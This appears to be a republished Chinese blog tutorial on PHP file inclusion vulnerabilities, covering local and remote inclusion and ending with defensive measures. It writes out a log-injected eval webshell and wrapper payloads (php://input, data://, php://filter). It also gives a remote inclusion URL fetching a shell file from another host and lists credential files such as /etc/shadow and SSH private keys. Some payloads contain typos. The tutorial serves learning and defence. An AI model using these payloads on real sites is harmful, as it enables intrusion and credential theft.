目錄
一、介紹
二、常見文件包含函數(shù)
三、文件包含漏洞代碼舉例分析
四、文件包含漏洞利用方式
4.1 本地文件包含
1、讀取敏感文件
2、文件包含可運(yùn)行的php代碼
①包含圖片碼
②包含日志文件
③包含環(huán)境變量getshell
④臨時(shí)文件包含
⑤偽協(xié)議
4.2 遠(yuǎn)程文件包含
4.3 文件包含常用路徑
?五、文件包含漏洞防護(hù)
一、介紹
程序在引用文件的時(shí),引用的文件名,用戶可控的情況,傳入的文件名沒有經(jīng)過合理的校驗(yàn)或校驗(yàn)不嚴(yán),從而操作了預(yù)想之外的文件,就有可能導(dǎo)致文件泄漏和惡意的代碼注入。 程序開發(fā)人員一般會(huì)把重復(fù)使用的函數(shù)寫到單個(gè)文件中,需要使用某個(gè)函數(shù)時(shí)直接調(diào)用此文件,而無需再次編寫,這重文件調(diào)用的過程一般被稱為文件包含。程序開發(fā)人員一般希望代碼更靈活,所以將被包含的文件設(shè)置為變量,用來進(jìn)行動(dòng)態(tài)調(diào)用,但正是由于這種靈活性,從而導(dǎo)致客戶端可以調(diào)用一個(gè)惡意文件,造成文件包含漏洞。
幾乎所有腳本語言都會(huì)提供文件包含的功能,但文件包含漏洞在PHPWebApplication 中居多, 而在 JSP、ASP、ASP.NET 程序中卻非常少,甚至沒有,這是有些語言設(shè)計(jì)的弊端。在 PHP 中經(jīng)常出現(xiàn)包含漏洞,但這并不意味這其他語言不存在。
二、常見文件包含函數(shù)
以php為例:
- require():找不到被包含的文件會(huì)產(chǎn)生致命錯(cuò)誤,并停止腳本運(yùn)行
- include():找不到被包含的文件只會(huì)產(chǎn)生警告,腳本繼續(xù)執(zhí)行
- require_once()與require()類似:唯一的區(qū)別是如果該文件的代碼已經(jīng)被包含,則不會(huì)再次包含
- include_once()與include()類似:唯一的區(qū)別是如果該文件的代碼已經(jīng)被包含,則不會(huì)再次包含
?
三、文件包含漏洞代碼舉例分析
上述代碼中,$_GET['filename']來自客戶的get請(qǐng)求參數(shù),并且其中沒有做任何的檢測(cè)過濾,直接帶入到include包含這個(gè)文件,導(dǎo)致造成文件包含漏洞
四、文件包含漏洞利用方式
4.1 本地文件包含
本地包含文件,被包含的文件在服務(wù)器
1、讀取敏感文件
比如包含敏感文件/etc/passwd
../是上一級(jí)路徑。如果存在漏洞,文件又存在的時(shí)候,不是php 文件會(huì)被讀取顯示在頁(yè)面中,這里我操作系統(tǒng)是windows,所以不存在這個(gè)文件
2、文件包含可運(yùn)行的php代碼
-
①包含圖片碼
尋找網(wǎng)站上傳點(diǎn),把 php 惡意代碼文件改成 jpg 上傳到網(wǎng)站上,本地包含引入惡意代碼,當(dāng)文件被引入后代碼就被執(zhí)行。 保存為 shell.jpg 上傳圖片格式到網(wǎng)站 再用文件包含漏洞引入圖片 成功執(zhí)行代碼
-
②包含日志文件
中間件例如 iis 、apache、nginx 這些 web 中間件,都會(huì)記錄訪問日志,如果訪問日志中或錯(cuò)誤日志中,存在有 php 代碼,也可以引入到文件包含中。如果日志 有 php 惡意代碼,也可導(dǎo)致 getshell。
更多日志文件路徑參考:應(yīng)急響應(yīng)之日志收集_dayouziei的博客-CSDN博客
首先get請(qǐng)求下網(wǎng)站
<?php phpinfo();eval($_POST[cmd]);?>
在中間件日志中會(huì)有這條記錄,我這里被編碼了
文件包含漏洞中包含這個(gè)文件即可(需要有訪問這個(gè)文件的權(quán)限)
-
③包含環(huán)境變量getshell
修改 User-Agen 填寫 php 代碼
在linux 中,/proc/self/environ 這個(gè)文件里保存了系統(tǒng)的一些變量,如果權(quán)限足夠,包含這個(gè)文件也可執(zhí)行腳本
-
④臨時(shí)文件包含
phpinfo會(huì)打印上傳緩存文件路徑,如果目標(biāo)網(wǎng)站有phpinfo的頁(yè)面,我們可以向該頁(yè)面POST一個(gè)文件,在phpinfo頁(yè)面中抓取緩存文件路徑,在利用時(shí)間競(jìng)爭(zhēng),就可以執(zhí)行我們的惡意代碼
PHP的POST臨時(shí)文件機(jī)制
我們對(duì)任意一個(gè)PHP文件發(fā)送一個(gè)上傳的數(shù)據(jù)包時(shí),不管這個(gè)PHP服務(wù)后端是否有處理$_FILES的邏輯,PHP都會(huì)將用戶上傳的數(shù)據(jù)先保存到一個(gè)臨時(shí)文件中,這個(gè)文件一般位于系統(tǒng)臨時(shí)目錄,文件名是php開頭,后面跟6個(gè)隨機(jī)字符;在整個(gè)PHP文件執(zhí)行完畢后,這些上傳的臨時(shí)文件就會(huì)被清理掉。
- ?該文件默認(rèn)存儲(chǔ)在 /tmp 目錄中『可通過 php.ini 的 upload_tmp_dir 指定存儲(chǔ)位置』
- ?文件名為 php[6個(gè)隨機(jī)字符],例:phpG4ef0q
- ?若本次請(qǐng)求正常結(jié)束,臨時(shí)文件會(huì)被自動(dòng)刪除
- ?若非正常結(jié)束,比如崩潰,臨時(shí)文件可能會(huì)被永久保留
⑤偽協(xié)議
PHP內(nèi)置了很多URL風(fēng)格的封裝協(xié)議,可用于類似fopen()、copy()、file_exists()和filesize()的文件系統(tǒng)函數(shù)
常見的偽協(xié)議
- file:// — 訪問本地文件系統(tǒng)
- http:// — 訪問 HTTP(s) 網(wǎng)址
- ftp:// — 訪問 FTP(s) URLs
- php:// — 訪問各個(gè)輸入/輸出流(I/O streams)
- zlib:// — 壓縮流
- data:// — 數(shù)據(jù)(RFC 2397)
- glob:// — 查找匹配的文件路徑模式
- phar:// — PHP 歸檔
- ssh2:// — Secure Shell 2
- rar:// — RAR
- ogg:// — 音頻流
- expect:// — 處理交互式的流
php.ini 參數(shù)設(shè)置
在 php.ini 里有兩個(gè)重要的參數(shù) allow_url_fopen、allow_url_include。allow_url_fopen:默認(rèn)值是 ON。允許 url 里的封裝協(xié)議訪問文件;allow_url_include:默認(rèn)值是 OFF。不允許包含 url 里的封裝協(xié)議包含文件;各協(xié)議的利用條件和方法:
協(xié)議 測(cè)試php版本 allow_url_fopen allow_url_include 用法 file:// >=5.2 off/on off/on ?file=file://D:/phpstudy/www/index.php php://filter >=5.2 off/on off/on ?file=php://filter/read=conver.base64-encode/resouece=./index.php php://input >=5.2 off/on on ?file=php://input [POST DATA] <?phpinfo();?> zip:// >=5.2 off/on off/on ?file=zip://d:/phpstudy/www/file.zip%23test.php compress.bzip2:// >=5.2 off/on off/on ?file=compress.bzip2://D:/phpstudy/www/file.bz2 compress.zlib:// >=5.2 off/on off/on ?file=compress.zlib://D:/phpstudy/www/file.gz data:// >=5.2 on on ?file=data://text/plain,<?phpinfo();?>
- file://協(xié)議
file://?用于訪問本地文件系統(tǒng),在CTF中通常用來讀取本地文件的且不受allow_url_fopen與allow_url_include的影響
file:// [文件的絕對(duì)路徑和文件名]
- php://協(xié)議
php:// 訪問各個(gè)輸入/輸出流(I/O streams),在CTF中經(jīng)常使用的是php://filter
和php://input
php://filter用于讀取源碼。
php://input用于執(zhí)行php代碼。
php://filter?讀取源代碼并進(jìn)行base64編碼輸出,不然會(huì)直接當(dāng)做php代碼執(zhí)行就看不到源代碼內(nèi)容了。
利用條件:
- allow_url_fopen :off/on
- allow_url_include:off/on
- zip://協(xié)議
zip:// 可以訪問壓縮包里面的文件。當(dāng)它與包含函數(shù)結(jié)合時(shí),zip://流會(huì)被當(dāng)作php文件執(zhí)行。從而實(shí)現(xiàn)任意代碼執(zhí)行。
zip://中只能傳入絕對(duì)路徑。
要用#分割壓縮包和壓縮包里的內(nèi)容,并且#要用url編碼成%23(即下述POC中#要用%23替換)
只需要是zip的壓縮包即可,后綴名可以任意更改。
相同的類型還有zlib://和bzip2://
?
利用條件:
- allow_url_fopen :off/on
- allow_url_include:off/on
- data://協(xié)議
data:// 同樣類似與php://input,可以讓用戶來控制輸入流,當(dāng)它與包含函數(shù)結(jié)合時(shí),用戶輸入的data://流會(huì)被當(dāng)作php文件執(zhí)行。從而導(dǎo)致任意代碼執(zhí)行。
利用data:// 偽協(xié)議可以直接達(dá)到執(zhí)行php代碼的效果,例如執(zhí)行phpinfo()函數(shù):
利用條件:allow_url_fopen :on
allow_url_include:on
?
4.2 遠(yuǎn)程文件包含
當(dāng)遠(yuǎn)程文件開啟時(shí),可以包含遠(yuǎn)程文件到本地執(zhí)行。當(dāng)allow_url_fopen=Onallow_url_include=ON 兩個(gè)條件同時(shí)為 On
http://127.0.0.1/lfi.php?file=http://10.10.10.10/shell.txt?
4.3 文件包含常用路徑
- 包含日志文件
/usr/local/apache2/logs/access_log /logs/access_log /etc/httpd/logs/access_log /var/log/httpd/access_log
- 讀取網(wǎng)站配置文件
dedecms 數(shù)據(jù)庫(kù)配置文件
data/common.inc.php,
discuz 全局配置文件 config/config_global.php,
phpcms 配置文件 caches/configs/database.php
phpwind 配置文件 conf/database.php
wordpress 配置文件 wp-config.php文章來源:http://www.zghlxwxcb.cn/news/detail-696587.html
- 包含系統(tǒng)配置文件
windows
C:/boot.ini//查看系統(tǒng)版本
C:/Windows/System32/inetsrv/MetaBase.xml//IIS 配置文件C:/Windows/repairsam//存儲(chǔ)系統(tǒng)初次安裝的密碼
C:/Program Files/mysql/my.ini//Mysql 配置
C:/Program Files/mysql/data/mysql/user.MYD//Mysql root
C:/Windows/php.ini//php 配置信息
C:/Windows/my.ini//Mysql 配置信息
linux
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件標(biāo)識(shí)符)
/proc/mounts
/porc/config.gz文章來源地址http://www.zghlxwxcb.cn/news/detail-696587.html
?五、文件包含漏洞防護(hù)
- 1、使用str_replace等方法過濾掉危險(xiǎn)字符
- 2、配置open_basedir,防止目錄遍歷(open_basedir 將php所能打開的文件限制在指定的目錄樹中)
- 3、php版本升級(jí),防止%00截?cái)?/li>
- 4、對(duì)上傳的文件進(jìn)行重命名,防止被讀取
- 5、對(duì)于動(dòng)態(tài)包含的文件可以設(shè)置一個(gè)白名單,不讀取非白名單的文件。
- 6、做好管理員權(quán)限劃分,做好文件的權(quán)限管理,allow_url_include和allow_url_fopen最小權(quán)限化
到了這里,關(guān)于文件包含漏洞學(xué)習(xí)小結(jié)的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!